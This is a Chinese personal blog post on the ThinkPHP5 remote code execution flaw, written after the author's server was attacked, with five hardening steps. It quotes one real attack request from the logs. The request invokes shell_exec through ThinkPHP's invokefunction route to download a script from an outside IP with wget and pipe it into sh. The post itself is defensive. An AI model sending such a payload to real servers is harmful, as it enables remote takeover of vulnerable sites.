thinkphp5远程代码执行漏洞分析与拦截

thinkPHP5 ajax提交表单

thinkphp5远程代码执行漏洞是去年12月9日公布的,关于该漏洞在thinkphp5的官网上给出了相关的解决方案。大家可以通过官方的两种方案对自己的项目进行修复。

漏洞修复参见:https://blog.thinkphp.cn/869075

本篇笔记主要带来的是关于thinkphp5远程代码执行漏洞带给我的一些心得体会。

我是12月29日在微信上收到了攻击提醒。然后便检查了相关日志。发现有人通过类似如下的访问方式对服务器发起GET请求。

  1. /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20-q%20-O%20-%2082.146.58.234/p2.sh|sh

这种攻击主要采用实例化thinkphp方法来达到远程执行shell脚本的目的。

既然明白了对方的用意,那么拦截起来就简单的多了。

1、第一步首先检查服务器上有没有被脚本感染的文件。对服务器文件进行彻底清理。

2、PHP执行权限,禁止一些危险函数的执行如shell_exec,pathinfo等等。

3、检查服务器上有无异常账号。删除异常账号,禁止提权,禁止root远程登录(用的时候通过机房打开即可)。所幸在这一步排查中波波并未发现异常的账号,仅仅发现了有人试图暴力破解FTP账号。那么很好办,删除FTP账号让他们暴力破解吧。

4、服务器对于异常的拦截,除了代码中修复漏洞以外,还需要注意添加一些防火墙规则来处理异常的访问请求。其实波波的小博客并没有什么名气,不知道山东威海和江苏无锡那两个孙子究竟处于什么目的。仅仅是想把网站的SEO信息改成博彩类的?

5、最后一步就是加固系统文件操作权限。对于一些目录和文件在系统层面禁止任何修改。对于上传目录允许修改,但是需要将上传目录的执行权限去掉。仅允许上传指定类型的文件。

通过上述5步操作之后,服务器安全系数就会提升很多,然而并非100%的安全。想要更安全的话,大家可以借助CDN+云WAF的方式部署在服务器的上层。隐藏真正的服务器。不过菠菜园作为一个小站,本身只是个人博客而已,不想去太过折腾。谁爱攻击谁攻击吧,真正的系统每天都会自动备份两份。所以大家自己维护服务器的话,做好服务器备份也是非常关键的。最起码在恢复时候几分钟就可以恢复了。

以上几点就是关于此次被攻击事件中的一些心得吧。与大家共勉。

 

你想把广告放到这里吗?

发表评论

您必须 登录 才能发表留言!